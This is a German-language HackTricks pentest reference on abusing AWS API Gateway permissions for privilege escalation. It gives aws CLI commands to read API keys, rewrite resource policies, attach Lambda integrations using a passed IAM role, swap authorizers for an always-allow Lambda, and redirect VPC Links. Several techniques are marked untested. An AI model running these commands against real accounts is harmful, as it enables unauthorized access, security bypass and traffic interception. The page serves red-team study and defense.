AWS - Apigateway Privesc

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

Apigateway

Für weitere Informationen siehe:

AWS - API Gateway Enum

apigateway:POST

Mit dieser Berechtigung können Sie API-Schlüssel für die konfigurierten APIs erstellen (pro Region).

aws --region <region> apigateway create-api-key

Mögliche Auswirkungen: Du kannst mit dieser Technik kein privesc durchführen, aber möglicherweise Zugriff auf sensible Informationen erhalten.

apigateway:GET

Mit dieser Berechtigung kannst du die generierten API-Schlüssel der konfigurierten APIs abrufen (pro Region).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Mögliche Auswirkungen: Du kannst mit dieser Technik kein privesc durchführen, aber du könntest Zugriff auf sensible Informationen erhalten.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Mit diesen Berechtigungen ist es möglich, die Ressourcenrichtlinie einer API zu ändern, sich selbst Zugriff zum Aufrufen zu geben und eventuell vorhandenen Zugriff auf das API Gateway auszunutzen (z. B. zum Aufrufen einer verwundbaren lambda).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Mögliche Auswirkung: Du wirst normalerweise nicht direkt mit dieser Technik privesc durchführen können, aber du könntest Zugriff auf sensible Informationen erhalten.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Note

Test erforderlich

Ein Angreifer mit den Berechtigungen apigateway:PutIntegration, apigateway:CreateDeployment und iam:PassRole kann eine neue Integration zu einer bestehenden API Gateway REST API hinzufügen, die eine Lambda-Funktion verwendet, an die eine IAM-Rolle angehängt ist. Der Angreifer kann dann die Lambda-Funktion auslösen, um beliebigen Code auszuführen und möglicherweise Zugriff auf die Ressourcen zu erlangen, die mit der IAM-Rolle verbunden sind.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Mögliche Auswirkungen: Zugriff auf Ressourcen, die mit der IAM-Rolle der Lambda-Funktion verknüpft sind.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Note

Muss noch getestet werden

Ein Angreifer mit den Berechtigungen apigateway:UpdateAuthorizer und apigateway:CreateDeployment kann einen vorhandenen API Gateway authorizer ändern, um Sicherheitsprüfungen zu umgehen (z. B. ihn auf eine Lambda umzuleiten, die stets “allow” zurückgibt) oder beliebigen Code auszuführen, wenn API-Anfragen gestellt werden.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potenzielle Auswirkungen: Umgehung von Sicherheitsprüfungen, unbefugter Zugriff auf API-Ressourcen.

HTTP APIs / apigatewayv2 Variante

Für HTTP APIs (API Gateway v2) ist die äquivalente Operation das Aktualisieren des Authorizers über apigatewayv2:

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

Note

Muss getestet werden

Ein Angreifer mit der Berechtigung apigateway:UpdateVpcLink kann einen bestehenden VPC Link so ändern, dass er auf einen anderen Network Load Balancer zeigt, wodurch privater API-Verkehr möglicherweise zu unbefugten oder bösartigen Ressourcen umgeleitet wird.

VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Mögliche Auswirkungen: Unbefugter Zugriff auf private API-Ressourcen, Abfangen oder Unterbrechen des API-Verkehrs.

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks